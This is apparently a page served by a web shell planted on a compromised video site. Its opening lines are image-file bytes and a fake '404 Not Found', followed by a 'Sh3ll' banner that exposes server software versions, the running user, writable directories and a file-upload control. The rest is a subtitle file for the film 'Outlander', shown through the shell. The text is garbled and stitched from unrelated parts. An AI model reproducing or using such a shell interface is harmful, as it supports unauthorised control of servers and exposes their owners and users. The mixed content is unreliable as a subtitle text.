����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/03-2019/5c810cabef49d-1551961259.vtt
WEBVTT - https://subtitletools.com

00:05:37.613 --> 00:05:38.841
Fuck.

00:05:43.653 --> 00:05:44.551
Weapon.

00:09:55.037 --> 00:09:56.117
It's time,
Freya.

00:09:56.338 --> 00:09:58.033
I told you before, Father

00:09:58.174 --> 00:10:00.267
the answer is no!

00:10:00.409 --> 00:10:03.071
Wulfric will be a good man!

00:10:03.212 --> 00:10:05.942
With you by his side
maybe a good king!

00:10:07.083 --> 00:10:09.847
He'll be just like his father
a tyrant and a butcher.

00:10:09.985 --> 00:10:11.543
I won't marry him!

00:10:21.030 --> 00:10:22.793
Then you better choose someone else.

00:10:22.932 --> 00:10:25.093
Because when he's king
it'll be too late to say no.

00:10:25.234 --> 00:10:27.634
Then don't make him king!

00:10:35.077 --> 00:10:35.873
Let me look at that.

00:10:36.011 --> 00:10:36.670
It's fine.

00:10:36.812 --> 00:10:38.302
Let me see it!

00:10:49.158 --> 00:10:51.023
I'm not getting any younger, Freya.

00:10:52.027 --> 00:10:54.962
I just want to make sure that
you're well looked after

00:10:55.331 --> 00:10:56.730
when I'm gone.

00:10:58.134 --> 00:11:00.329
I know, Father. I know.

00:11:00.469 --> 00:11:01.731
And

00:11:02.238 --> 00:11:04.934
if any one can make
Wulfric keep the peace,

00:11:05.908 --> 00:11:08.741
by the gods, it's you.

00:11:15.785 --> 00:11:20.415
I rule Herot and Freya rules me.

00:11:22.658 --> 00:11:24.148
I don't think so.

00:11:25.761 --> 00:11:27.991
And no queen of mine
will fight like a man.

00:11:35.070 --> 00:11:36.901
I will take care of you.

00:11:41.210 --> 00:11:42.404
She's like her mother.

00:11:44.113 --> 00:11:46.775
You'd do well to tread
more softly with her.

00:11:47.750 --> 00:11:49.547
There's nothing soft about her.

00:11:52.555 --> 00:11:53.954
Gunnar's village was sacked.

00:11:55.558 --> 00:11:56.786
What happened?

00:11:58.227 --> 00:11:59.216
I don't know.

00:11:59.361 --> 00:12:01.158
There were no bodies, nothing.

00:12:03.332 --> 00:12:04.629
Slavers?

00:12:05.267 --> 00:12:06.598
Too much blood.

00:12:07.736 --> 00:12:09.203
What about Gunnar?

00:12:09.438 --> 00:12:11.406
He's still trading with the Rus.

00:12:11.540 --> 00:12:13.337
He'll be back before the snow.

00:12:14.810 --> 00:12:16.539
He'll think it was us.

00:12:18.047 --> 00:12:19.537
It should've been.

00:12:19.748 --> 00:12:21.147
Was it?

00:12:25.888 --> 00:12:27.515
No.

00:12:27.656 --> 00:12:29.920
We caught a man
nearby in the woods.

00:12:30.125 --> 00:12:31.490
One of ours?

00:12:33.863 --> 00:12:36.923
Well, what tribe was he? Frankish, Rus?

00:12:37.066 --> 00:12:40.001
I don't know. But I'll find out.

00:12:40.269 --> 00:12:41.793
Well, do it quickly.

00:12:44.373 --> 00:12:46.034
It's war if you don't.

00:12:57.887 --> 00:12:59.514
I'll take those.

00:13:15.938 --> 00:13:17.030
Bring him

00:13:23.178 --> 00:13:24.668
So who are you, Outlander?

00:13:25.781 --> 00:13:27.408
I'd answer him, friend.

00:13:27.883 --> 00:13:28.747
Your name!

00:13:28.884 --> 00:13:34.720
My name is Kainan.

00:13:34.857 --> 00:13:37.587
Kainan? What kind of name is that?

00:13:37.726 --> 00:13:39.216
Where are you from?

00:13:39.962 --> 00:13:42.522
An Island to the north.

00:13:42.665 --> 00:13:44.257
Why did you attack Gunnar's village?

00:13:44.400 --> 00:13:45.560
I didn't attack anyone.

00:13:45.701 --> 00:13:46.793
Then why were you there?

00:13:46.936 --> 00:13:47.834
I was hunting.

00:13:47.970 --> 00:13:48.766
Hunting?

00:13:48.904 --> 00:13:49.928
Hunting what?

00:13:50.072 --> 00:13:51.369
That.

00:13:56.178 --> 00:13:57.338
A dragon

00:14:04.086 --> 00:14:05.144
Tell me! Why where you there?

00:14:05.287 --> 00:14:06.549
Where are your men?

00:14:06.689 --> 00:14:07.621
Told you.

00:14:09.758 --> 00:14:11.225
Don't lie to me.

00:14:12.161 --> 00:14:15.528
Stick with the dragons. I like that one.

00:14:17.433 --> 00:14:18.627
All right.

00:14:18.767 --> 00:14:20.234
I'll tell you.

00:14:21.303 --> 00:14:27.333
I was hunting... dragons.

00:14:42.491 --> 00:14:43.549
Not yet

00:15:24.933 --> 00:15:26.161
The prisoner's hurt.

00:15:27.102 --> 00:15:28.797
So are you, by the looks of it.

00:15:30.606 --> 00:15:32.164
And he needs looking after

00:15:33.342 --> 00:15:36.072
I've got work to do.
You clean up your own mess.

00:15:42.317 --> 00:15:43.648
To hell with it then.

00:15:45.287 --> 00:15:46.845
He dies, it's on your head.

00:16:51.086 --> 00:16:52.144
Bjorn!

00:16:52.988 --> 00:16:54.250
He needs looking after

00:16:59.628 --> 00:17:00.959
Let me pass.

00:17:08.036 --> 00:17:10.095
That's enough! Get out!

00:17:50.112 --> 00:17:51.602
What did he tell you?

00:17:51.914 --> 00:17:53.176
Nothing.

00:17:53.549 --> 00:17:55.380
Some lies about a dragon.

00:17:57.786 --> 00:17:59.151
But he's hiding something.

00:18:00.956 --> 00:18:02.355
Keep at him.

00:18:03.258 --> 00:18:05.055
I have to send riders to find Gunnar.

00:18:05.194 --> 00:18:07.560
He has to know that it wasn't us.

00:18:07.696 --> 00:18:10.256
He'll never believe us.
Not when he sees his village.

00:18:10.966 --> 00:18:13.093
We should kill him while
we still have the chance.

00:18:13.402 --> 00:18:15.267
Like your father would have done.

00:18:15.437 --> 00:18:16.631
And he would have been right.

00:18:16.772 --> 00:18:17.898
My father's dead because of Gunnar.

00:18:18.040 --> 00:18:20.634
Your father's dead
because he was a fool!

00:18:32.888 --> 00:18:34.947
You want to kill Gunnar.

00:18:36.391 --> 00:18:38.086
I can understand that.

00:18:38.927 --> 00:18:40.622
And you want to rule from here.

00:18:40.762 --> 00:18:42.730
I can understand that, too.

00:18:43.932 --> 00:18:48.699
But it's not your sword that
will make you king, nor Shield Hall.

00:18:49.671 --> 00:18:53.835
It's how you rule your own
head and heart.

00:18:55.310 --> 00:19:01.340
Until you understand that
then you'll never wear this.

00:19:27.943 --> 00:19:29.103
Water.

00:19:31.179 --> 00:19:32.407
Please.

00:19:52.501 --> 00:19:53.593
Thank you.

00:19:57.439 --> 00:19:58.872
Did you do what they're saying?

00:19:59.541 --> 00:20:01.441
Did you attack Gunnar's village?

00:20:03.545 --> 00:20:04.773
No.

00:20:19.194 --> 00:20:20.092
Bjorn!

00:21:00.001 --> 00:21:01.161
It's sharp.

00:21:02.571 --> 00:21:04.061
It's never sharp enough.

00:21:04.506 --> 00:21:05.063
If Gunnar comes tonight...

00:21:05.207 --> 00:21:08.404
If Gunnar comes tonight he'll stick
that blade right up your arse.

00:21:09.444 --> 00:21:11.412
...then you'll wish it wasn't so sharp.

00:21:31.833 --> 00:21:33.027
You smell that?

00:21:42.644 --> 00:21:43.941
Arn?

00:22:27.055 --> 00:22:28.215
The sentries are gone!

00:22:28.356 --> 00:22:30.916
It's Gunnar! Get to the walls!

00:22:45.340 --> 00:22:46.602
Where are they?!

00:22:48.743 --> 00:22:49.505
Is it raiders?

00:22:49.644 --> 00:22:51.305
Give me my blade, woman!

00:22:59.855 --> 00:23:00.719
They're inside the walls.

00:23:00.856 --> 00:23:02.255
Take your men, fan out!

00:23:02.390 --> 00:23:03.948
The rest with me!

00:23:41.496 --> 00:23:42.827
Gunnar!

00:25:09.117 --> 00:25:10.641
Moorwen!

00:25:34.209 --> 00:25:35.039
He's getting away!

00:25:35.176 --> 00:25:36.404
Get him out of here!

00:25:37.746 --> 00:25:38.713
Where is Gunnar?

00:25:38.847 --> 00:25:40.075
I don't know!

00:25:51.760 --> 00:25:53.990
What could have done this?

00:28:01.356 --> 00:28:03.984
Right, get up.
It was the demon, Mimir.

00:28:04.125 --> 00:28:06.059
Come to drag us down to Jotunheim

00:28:06.194 --> 00:28:07.957
and freeze us dead.

00:28:08.096 --> 00:28:10.860
Enough of your forest spirits, Unferth.

00:28:12.801 --> 00:28:14.962
It was Frankish raiders. Sure enough!

00:28:16.738 --> 00:28:17.568
They climbed over the walls.

00:28:17.705 --> 00:28:19.036
Then what, Boromir?

00:28:19.174 --> 00:28:20.141
We all saw Bjorn's body.

00:28:20.275 --> 00:28:21.674
He was clawed to death.

00:28:21.810 --> 00:28:23.573
It was an animal.
No!

00:28:23.711 --> 00:28:25.440
This is the work of Lucifer!

00:28:25.580 --> 00:28:29.141
Visited upon us because you
buried King Halga like a pagan...

00:28:29.284 --> 00:28:30.342
and not like a Christian!

00:28:30.485 --> 00:28:31.543
My father was a Viking.

00:28:31.686 --> 00:28:34.951
He worshiped Odin not some
woodworker nailed to a cross.

00:28:35.190 --> 00:28:37.624
And I'll be damned if it was
anything but a bear!

00:28:45.700 --> 00:28:49.761
First Gunnar, now us.

00:28:51.172 --> 00:28:54.335
Three of my men are missing
five are dead.

00:28:55.577 --> 00:28:57.477
May Odin keep them.

00:29:06.487 --> 00:29:10.821
So why don't you tell me
about your dragon?

00:29:13.294 --> 00:29:15.159
My people call it a Moorwen.

00:29:16.197 --> 00:29:17.494
A Moorwen?

00:29:18.266 --> 00:29:20.632
I've never even heard of such a thing.

00:29:21.936 --> 00:29:23.130
Believe me.

00:29:23.271 --> 00:29:24.499
The first time I saw one,

00:29:24.639 --> 00:29:26.630
I didn't know what I was looking at.

00:29:28.576 --> 00:29:31.101
It was just a smudge of
light in the darkness.

00:29:32.080 --> 00:29:33.672
It could have been anything.

00:29:34.916 --> 00:29:38.352
That's how it draws
its prey in, with light.

00:29:40.154 --> 00:29:41.519
Foxfire.

00:29:41.756 --> 00:29:45.783
It kills men, beasts, everything.

00:29:46.794 --> 00:29:49.024
And it smells like death.

00:29:49.564 --> 00:29:50.724
There's nothing like that here.

00:29:50.865 --> 00:29:52.594
Yes, there is.

00:29:53.735 --> 00:29:55.430
Because I brought it here.

00:29:58.306 --> 00:29:59.534
Silence!

00:30:00.875 --> 00:30:02.206
Leave him!

00:30:03.645 --> 00:30:04.839
Come here!

00:30:11.586 --> 00:30:14.214
You say you're responsible for this.

00:30:14.355 --> 00:30:15.652
Yes.

00:30:16.090 --> 00:30:18.081
It got on my ship, it killed my crew.

00:30:18.226 --> 00:30:19.818
Then we crashed here.

00:30:20.261 --> 00:30:22.229
I know you don't believe me...

00:30:22.363 --> 00:30:25.730
but this thing has carved out
a territory and you are in it.

00:30:32.507 --> 00:30:36.568
You think you can frighten us
with children's stories.

00:30:36.711 --> 00:30:38.542
This is no story.

00:30:40.281 --> 00:30:42.181
But whatever you think did this,

00:30:42.617 --> 00:30:44.642
you're going to hunt it down
aren't you?

00:30:48.990 --> 00:30:50.423
Take me with you.

00:30:54.696 --> 00:30:56.357
How am I supposed to
fight it like this?

00:30:56.497 --> 00:30:57.862
You're not.

00:30:58.599 --> 00:30:59.998
That one's yours.

00:31:02.070 --> 00:31:03.196
What do I do with it?

00:31:03.338 --> 00:31:04.703
Hey! What do I with it?

00:31:04.839 --> 00:31:06.204
Outlander.

00:31:16.985 --> 00:31:19.453
Enough! Mount up.

00:31:58.259 --> 00:31:59.624
How's your jaw?

00:32:01.729 --> 00:32:02.923
Your jaw!

00:32:03.264 --> 00:32:04.492
Freya?

00:32:06.834 --> 00:32:08.927
Here. Try some of this.

00:32:09.404 --> 00:32:13.773
Cure anything from a sword
in the guts to a broken heart.

00:32:15.309 --> 00:32:17.300
You shouldn't feel too bad.

00:32:18.046 --> 00:32:19.240
You see that?

00:32:19.380 --> 00:32:21.848
She once stuck me with a fork.

00:32:22.083 --> 00:32:25.450
It seems I got a little too
familiar when I was in me cups.

00:32:26.154 --> 00:32:28.918
Well, go on! Drink!

00:32:37.165 --> 00:32:38.359
Good, eh?

00:32:40.501 --> 00:32:41.092
What is it?

00:32:41.235 --> 00:32:42.463
What is it!

00:32:42.603 --> 00:32:44.503
What kind of backwater are you from?

00:32:44.639 --> 00:32:46.129
Some place far from here.

00:32:46.274 --> 00:32:47.172
For certain.

00:32:47.308 --> 00:32:51.301
Far off and sad that's
not tasted Herot mead.

00:32:56.884 --> 00:32:59.045
Boromir likes his drink.

00:33:00.488 --> 00:33:02.217
You know, Outlander...

00:33:02.590 --> 00:33:06.321
we trade in every direction
for a thousand miles.

00:33:07.061 --> 00:33:11.794
South, east and west, not north.

00:33:13.201 --> 00:33:14.668
There's nothing there.

00:33:14.869 --> 00:33:16.393
Maybe you haven't
looked far enough.

00:33:16.537 --> 00:33:18.129
Perhaps.

00:33:18.573 --> 00:33:23.169
But what's a man who lives so far
north doing in these seas?

00:33:23.744 --> 00:33:25.507
We have an outpost near here.

00:33:25.713 --> 00:33:29.809
And that's where this Moorwen
got on board your ship?

00:33:33.855 --> 00:33:34.947
Yes.

00:33:35.456 --> 00:33:37.856
And what it did to your village
it did to mine.

00:33:39.360 --> 00:33:41.624
We were taking the bodies
back for a burial.

00:33:42.096 --> 00:33:44.257
That's when it must
have gotten onboard.

00:33:48.236 --> 00:33:49.396
Hold up!

00:34:04.652 --> 00:34:06.210
Bear came this way.

00:34:07.054 --> 00:34:09.022
There's been a lot of
animals through here since.

00:34:09.857 --> 00:34:11.848
We should split up
try to find the main trail.

00:34:11.993 --> 00:34:13.551
That's a bad idea.

00:34:14.862 --> 00:34:16.352
We should stay together.

00:34:17.498 --> 00:34:18.829
We'll pair up.

00:34:18.966 --> 00:34:22.402
Wulfric, you take the Outlander.

00:36:32.266 --> 00:36:33.756
A bear wouldn't do this.

00:36:54.355 --> 00:36:55.617
It's here.

00:37:09.503 --> 00:37:11.130
Wulfric! Wait!

00:38:07.061 --> 00:38:08.653
Now that's a bear.

00:38:19.073 --> 00:38:20.267
Outlander!

00:38:24.945 --> 00:38:26.242
Take this sword.

00:38:27.248 --> 00:38:28.510
And your life, too.

00:38:29.784 --> 00:38:31.217
It's yours again.

00:38:44.565 --> 00:38:51.437
Wulfric! Wulfric!

00:39:42.756 --> 00:39:45.418
Kainan!

00:39:45.559 --> 00:39:50.019
Kainan! Kainan!

00:40:04.712 --> 00:40:05.679
Sit here!

00:40:05.813 --> 00:40:07.906
Be my guest tonight.

00:40:08.582 --> 00:40:12.245
Daughter! Kainan needs some drink.

00:40:14.288 --> 00:40:18.156
See, now you look like a Viking.

00:40:18.292 --> 00:40:19.725
Doesn't he, Freya?

00:40:23.831 --> 00:40:25.196
Perhaps.

00:40:28.869 --> 00:40:31.360
Nobody cooks this better
than my kitchen.

00:40:32.206 --> 00:40:33.673
Eat!

00:40:34.108 --> 00:40:39.171
There I was, running into
the cave ahead of everyone...

00:40:39.380 --> 00:40:42.679
when suddenly, out of nowhere
came the biggest...

00:40:42.816 --> 00:40:47.344
most vicious bear I've ever seen.

00:40:47.488 --> 00:40:49.854
He tore up two grown men...

00:40:49.990 --> 00:40:52.515
and was about to eat
the king himself...

00:40:52.660 --> 00:40:55.458
when the Outlander stuck
his sword in it.

00:40:56.230 --> 00:40:59.358
You see, the bear was there.

00:40:59.500 --> 00:41:01.832
No! There!

00:41:01.969 --> 00:41:06.406
And Rothgar was... Rothgar was here.

00:41:06.941 --> 00:41:09.739
What's this?

00:41:12.179 --> 00:41:16.275
Creeping into Shield Hall uninvited.

00:41:16.417 --> 00:41:17.441
Off you go!

00:41:17.585 --> 00:41:18.745
Wait!

00:41:18.886 --> 00:41:20.513
What's your name?

00:41:22.189 --> 00:41:23.816
Answer him, lad.

00:41:26.493 --> 00:41:29.053
Here. Are you hungry?

00:41:36.604 --> 00:41:40.370
He wants to see the sword
that killed the bear.

00:41:48.983 --> 00:41:50.143
No.

00:41:50.551 --> 00:41:53.714
I'll trade you for your name.

00:42:00.027 --> 00:42:01.426
Eric.

00:42:02.896 --> 00:42:04.329
Eric.

00:42:07.034 --> 00:42:10.834
A sword for a name.

00:42:17.144 --> 00:42:19.806
Just bring it back in one piece.

00:42:23.117 --> 00:42:25.813
His parents were killed
by raiders a year ago.

00:42:28.555 --> 00:42:29.920
The boy'll be fine.

00:42:30.557 --> 00:42:32.548
We take care of our own.

00:42:35.429 --> 00:42:38.990
Shields!

00:42:42.202 --> 00:42:44.102
Shields!

00:42:44.738 --> 00:42:46.535
Shields! it is.

00:42:49.243 --> 00:42:54.613
Shield! Shield! Shield!

00:43:14.902 --> 00:43:16.062
You!

00:43:20.474 --> 00:43:21.406
Kainan!

00:43:21.542 --> 00:43:22.873
You.

00:43:23.010 --> 00:43:31.110
Kainan! Kainan! Kainan!

00:43:44.998 --> 00:43:46.124
Up!

00:43:52.639 --> 00:43:55.335
Kainan! Kainan!

00:44:04.451 --> 00:44:05.543
What now?

00:44:05.686 --> 00:44:07.017
Follow me.

00:45:02.476 --> 00:45:03.909
The Outlander's good.

00:45:04.044 --> 00:45:06.604
Care to wager some gold on him?

00:45:07.481 --> 00:45:09.813
No one beats Wulfric at shields.

00:45:23.130 --> 00:45:24.290
Kainan!

00:45:41.181 --> 00:45:42.409
Now you try this.

00:46:00.367 --> 00:46:01.595
Oh hell.

00:46:02.069 --> 00:46:03.661
Are you ready for this, Boromir?

00:46:14.681 --> 00:46:15.807
I am now.

00:46:17.784 --> 00:46:18.716
Okay.

00:46:57.624 --> 00:46:58.852
Not bad.

00:47:48.075 --> 00:47:49.269
Sorry.

00:47:57.551 --> 00:47:58.347
Outlander, I wanted...

00:47:58.485 --> 00:47:59.747
Kainan.

00:47:59.886 --> 00:48:01.353
My name is Kainan.

00:48:01.855 --> 00:48:03.220
Kainan,

00:48:03.790 --> 00:48:05.849
I wanted to thank you for
bringing my father back to me.

00:48:05.993 --> 00:48:07.824
For saving his life.

00:48:11.932 --> 00:48:16.028
It happened so fast
I did it without thinking.

00:48:16.937 --> 00:48:18.404
Like when you hit me?

00:48:19.006 --> 00:48:20.496
Hit you?

00:48:22.709 --> 00:48:24.404
Yes, sorry about that.

00:48:24.811 --> 00:48:26.210
We're even now.

00:48:38.258 --> 00:48:39.919
All the women are talking about you.

00:48:42.496 --> 00:48:46.296
They say you're from a place
far beyond the ice.

00:48:48.001 --> 00:48:51.027
I heard one say from
the home of the gods.

00:48:52.506 --> 00:48:53.996
What do you think?

00:48:55.675 --> 00:48:57.302
I think...

00:48:58.445 --> 00:49:00.436
she was a little drunk.

00:49:07.154 --> 00:49:08.621
Freya!

00:49:09.756 --> 00:49:12.418
Everyone thinks that
bear killed your people.

00:49:13.260 --> 00:49:14.591
It didn't.

00:49:15.262 --> 00:49:17.526
It was the Moorwen and
it will come back.

00:49:33.480 --> 00:49:34.572
Get the others!

00:49:36.283 --> 00:49:37.545
It's Gunnar!

00:50:25.432 --> 00:50:26.626
Get out of here!

00:50:27.234 --> 00:50:28.565
Get out of here!

00:50:30.570 --> 00:50:31.901
Get out of here!

00:51:18.451 --> 00:51:20.043
Rothgar!

00:51:48.848 --> 00:51:50.907
It's over. We've lost!

00:51:51.051 --> 00:51:52.143
No!

00:51:53.853 --> 00:51:54.649
Let me go!

00:51:54.788 --> 00:51:56.312
Get your hands off me!

00:51:57.891 --> 00:51:59.119
Rothgar!

00:52:03.063 --> 00:52:05.190
The gate. Close the gate!

00:52:13.073 --> 00:52:14.438
Rothgar!

00:52:16.042 --> 00:52:18.806
Where are you
you bastard son of a bitch?

00:52:23.783 --> 00:52:25.148
Where's my wife?

00:52:26.953 --> 00:52:28.614
Where's my boy?

00:52:30.624 --> 00:52:33.320
You didn't even leave me their bodies.

00:52:37.631 --> 00:52:39.997
If it takes a thousand years

00:52:41.434 --> 00:52:45.302
I'll carve your heart out
of your rotting chest.

00:52:48.375 --> 00:52:50.104
Do you hear me?

00:53:05.058 --> 00:53:07.151
This is the man you want
to make peace with?

00:54:35.348 --> 00:54:36.679
Are you all right?

00:54:38.284 --> 00:54:39.444
I'm fine.

00:54:43.056 --> 00:54:44.216
That looks deep.

00:54:45.658 --> 00:54:46.920
Here let me clean it.

00:54:58.571 --> 00:54:59.868
What happened out there?

00:55:00.273 --> 00:55:01.604
Who was that?

00:55:01.808 --> 00:55:02.934
That was Gunnar.

00:55:03.343 --> 00:55:04.742
Gunnar?

00:55:05.078 --> 00:55:07.876
King Halga, Wulfric's father...

00:55:08.481 --> 00:55:11.450
called all the tribes together
for a raid on the Franks.

00:55:11.751 --> 00:55:13.241
Gunnar never showed.

00:55:13.386 --> 00:55:15.911
There was an ambush and
Halga was killed.

00:55:17.457 --> 00:55:19.857
So Wulfric thinks
Gunnar betrayed him.

00:55:21.394 --> 00:55:24.659
And Gunnar thinks his village
was destroyed in revenge.

00:55:26.065 --> 00:55:27.498
That's right.

00:55:28.501 --> 00:55:30.833
Wulfric is simple like his father.

00:55:31.905 --> 00:55:34.931
He'll send a party into
the trees just before dawn.

00:55:35.508 --> 00:55:38.068
And then attack from the main
gate first light.

00:55:43.683 --> 00:55:45.617
But I think he's in for a surprise.

00:56:25.892 --> 00:56:27.416
Gunnar said wait here.

00:57:10.370 --> 00:57:11.359
Aethril?

00:57:17.477 --> 00:57:19.707
Circle up. Circle up!

00:57:24.551 --> 00:57:26.712
Get Wulfric and Rothgar up here now!

00:57:32.659 --> 00:57:33.785
What's going on?

00:57:37.997 --> 00:57:39.362
Wulfric!

00:57:51.077 --> 00:57:52.510
Wait! Don't shoot!

00:57:52.645 --> 00:57:54.704
Hold your fire. We surrender.

00:57:54.847 --> 00:57:56.041
It's a trick.

00:57:56.282 --> 00:57:57.840
Archers!

00:58:00.453 --> 00:58:01.647
Ready!

00:58:06.626 --> 00:58:07.615
Fire!

00:58:07.760 --> 00:58:08.954
Wait!

00:58:12.932 --> 00:58:14.365
Hold your fire, you bastards!

00:58:14.500 --> 00:58:15.592
Wait!

00:58:25.745 --> 00:58:26.837
No!

00:58:30.883 --> 00:58:32.145
Open the gates!

00:58:36.656 --> 00:58:37.987
Wulfric! No!

00:58:38.925 --> 00:58:40.187
Look!

00:59:03.149 --> 00:59:06.448
Now that is not a bear.

00:59:13.192 --> 00:59:14.955
It was like hitting a stone wall.

00:59:15.094 --> 00:59:16.152
I hit it with all I had.

00:59:16.295 --> 00:59:18.092
Ran. Just like you ran from my father.

00:59:18.231 --> 00:59:20.096
I'll cut your tongue out, boy.
Stop!

00:59:20.233 --> 00:59:21.564
Both of you.

00:59:21.701 --> 00:59:23.862
That thing is still out there!

00:59:24.003 --> 00:59:25.368
The gods have cursed us all.

00:59:25.505 --> 00:59:27.029
We should leave this place while
we can still save our families.

00:59:27.173 --> 00:59:28.037
This is our home!

00:59:28.174 --> 00:59:30.039
We are not going to let
that thing chase us out!

00:59:30.176 --> 00:59:31.404
She's right! We're not leaving.

00:59:31.544 --> 00:59:34.104
We're going to hunt this thing
down and kill it like Vikings.

00:59:34.247 --> 00:59:35.805
Hunting won't work.

00:59:40.286 --> 00:59:42.015
You can't take it on in the open.

00:59:42.155 --> 00:59:43.019
It's too powerful.

00:59:43.156 --> 00:59:44.418
Well, what else is there?

00:59:44.557 --> 00:59:45.990
We trap it.

00:59:47.894 --> 00:59:49.862
Even if you do track it down,

00:59:50.096 --> 00:59:51.825
How are you going to kill it?

00:59:52.131 --> 00:59:54.326
Why are we even listening to him?
He's not one of us.

00:59:54.467 --> 00:59:55.866
That's right. I'm not.

00:59:56.002 --> 00:59:57.663
But you're wrong about this, Wulfric.

00:59:57.804 --> 01:00:00.500
Like you were wrong about and the bear.

01:00:00.640 --> 01:00:03.700
And you'll always be wrong until
you stop thinking with this.

01:00:07.046 --> 01:00:08.741
This is finished!

01:00:09.148 --> 01:00:10.410
You're not one of us.

01:00:10.550 --> 01:00:12.450
The decision is ours.

01:00:12.685 --> 01:00:16.246
However, I'm still your king.

01:00:17.256 --> 01:00:19.986
And my judgment is that
the Outlander is correct.

01:00:24.864 --> 01:00:26.525
We build the trap.

01:00:33.973 --> 01:00:35.668
So,

01:00:37.043 --> 01:00:38.670
where do we start?

01:00:39.679 --> 01:00:41.078
Here...

01:00:45.284 --> 01:00:48.412
And ending... here.

01:00:57.196 --> 01:00:58.925
What are you waiting for?

01:00:59.599 --> 01:01:00.759
Dig!

01:01:18.684 --> 01:01:21.050
The forge, what does it burn?

01:01:22.455 --> 01:01:23.683
Wood.

01:01:23.856 --> 01:01:26.256
What about the torches, the lamps?

01:01:26.392 --> 01:01:27.859
Whale oil.

01:01:28.261 --> 01:01:29.489
I'll need it.

01:01:30.062 --> 01:01:30.687
How much?

01:01:30.830 --> 01:01:32.127
All of it.

01:01:55.655 --> 01:01:56.849
How's it coming?

01:01:59.258 --> 01:02:00.987
Is it deep enough for you?

01:02:01.227 --> 01:02:02.057
No.

01:02:02.195 --> 01:02:03.526
Four more feet.

01:02:04.030 --> 01:02:05.361
And when you got that...

01:02:05.498 --> 01:02:08.228
I need two rows of postholes
running up both sides.

01:02:08.434 --> 01:02:09.492
Post holes?

01:02:09.635 --> 01:02:09.999
Yeah.

01:02:10.136 --> 01:02:12.366
What do you need post holes for?

01:02:12.605 --> 01:02:13.902
Posts.

01:02:14.140 --> 01:02:15.232
Posts.

01:02:17.443 --> 01:02:18.375
Posts.

01:02:45.905 --> 01:02:47.065
Are we done now?

01:02:47.206 --> 01:02:48.264
Not yet.

01:02:48.407 --> 01:02:50.841
Not yet? What's left?

01:02:52.612 --> 01:02:53.704
Shields?

01:02:53.846 --> 01:02:55.143
Shields.

01:03:53.139 --> 01:03:55.607
When this thing is over...

01:03:57.143 --> 01:03:58.974
...there's a place here for you.

01:04:00.680 --> 01:04:01.977
Should you wish it.

01:04:56.369 --> 01:04:57.597
You hungry?

01:05:17.023 --> 01:05:18.354
What about you?

01:05:20.526 --> 01:05:21.925
I'll eat when you're finished.

01:05:22.128 --> 01:05:23.220
No.

01:05:23.529 --> 01:05:24.757
You sit.

01:05:28.901 --> 01:05:30.163
Thank you.

01:05:42.648 --> 01:05:44.513
I saw you talking to my father today.

01:05:48.454 --> 01:05:49.716
What did he say?

01:05:52.124 --> 01:05:53.489
He asked me to stay.

01:05:57.029 --> 01:05:58.053
What did you say?

01:06:03.069 --> 01:06:04.058
Freya...

01:06:11.644 --> 01:06:13.771
You don't even know
what kind of man I am.

01:06:15.881 --> 01:06:17.007
I know enough.

01:06:17.383 --> 01:06:18.748
No, you don't.

01:06:24.056 --> 01:06:25.455
So, tell me.

01:06:32.231 --> 01:06:33.698
Kainan?

01:06:37.736 --> 01:06:39.931
My people are no different than yours.

01:06:42.374 --> 01:06:43.636
Hungry for land.

01:06:44.977 --> 01:06:47.172
So when we found
an island we wanted,

01:06:49.115 --> 01:06:50.139
we took it.

01:07:01.427 --> 01:07:05.523
It didn't matter that it already
belonged to something else...

01:07:07.867 --> 01:07:11.394
Moorwens. Millions of them.

01:07:13.405 --> 01:07:14.565
But we wanted it.

01:07:16.575 --> 01:07:19.476
After all, we told ourselves
they were nothing.

01:07:19.612 --> 01:07:23.139
Just animals. Beasts.

01:07:30.856 --> 01:07:34.087
So we killed them all with fire.

01:07:52.845 --> 01:07:55.313
Those we missed, we hunted down.

01:08:42.895 --> 01:08:45.056
You obeyed your king's orders.

01:08:45.397 --> 01:08:46.625
You didn't have a choice.

01:08:46.765 --> 01:08:48.494
You always have a choice.

01:08:53.606 --> 01:08:57.269
Land that belonged to the Moorwens
now belonged to us.

01:09:10.689 --> 01:09:14.386
As part of my pay I was given a place
for my family to live.

01:09:15.361 --> 01:09:17.761
And I thought I could forget
what I'd done to get it.

01:09:18.897 --> 01:09:21.092
Some things you can't
bury deep enough.

01:09:22.935 --> 01:09:24.835
Hey! What are you doing?

01:09:24.970 --> 01:09:27.370
That plant, it stung me.
It what?

01:09:27.506 --> 01:09:29.303
It stung me.

01:09:29.775 --> 01:09:32.903
Let me show you something.
Stay right here, okay?

01:09:57.603 --> 01:09:58.763
Kainan.

01:10:00.306 --> 01:10:01.568
The guns are up.

01:10:01.774 --> 01:10:03.605
And there are none of them left.

01:10:04.343 --> 01:10:05.935
You'll be safe.

01:10:12.584 --> 01:10:13.243
I love you.

01:10:13.385 --> 01:10:14.852
I love you, too.

01:10:46.485 --> 01:10:49.716
Three weeks later I got word that
one of the Moorwens had survived.

01:10:50.956 --> 01:10:54.392
And it got in our compound
and killed everyone.

01:10:58.797 --> 01:11:00.094
It was the will of the gods.

01:11:00.232 --> 01:11:00.994
It was their destiny.

01:11:01.133 --> 01:11:02.657
There is no destiny.

01:11:03.669 --> 01:11:05.466
There is no gods.

01:11:09.608 --> 01:11:10.870
It was just me.

01:11:13.645 --> 01:11:14.942
And I failed them.

01:11:18.550 --> 01:11:19.847
I failed them.

01:11:35.367 --> 01:11:37.130
This is a king's sword,

01:11:38.203 --> 01:11:40.194
passed down from my ancestors.

01:11:41.573 --> 01:11:42.801
My father gave it to me...

01:11:42.941 --> 01:11:44.636
and told me that one day

01:11:44.843 --> 01:11:46.902
I would know the man to give it to.

01:11:47.780 --> 01:11:49.111
A good man.

01:12:02.728 --> 01:12:06.459
If you truly believe that you
write the tale of your own life...

01:12:08.100 --> 01:12:10.933
...then the end is up to you.

01:12:44.069 --> 01:12:45.263
More arrows!

01:12:58.250 --> 01:12:59.717
The gods be with you.

01:13:10.095 --> 01:13:11.790
Boromir, close the doors.

01:13:25.043 --> 01:13:26.476
Open the gates!

01:13:42.761 --> 01:13:44.058
You sure this will work?

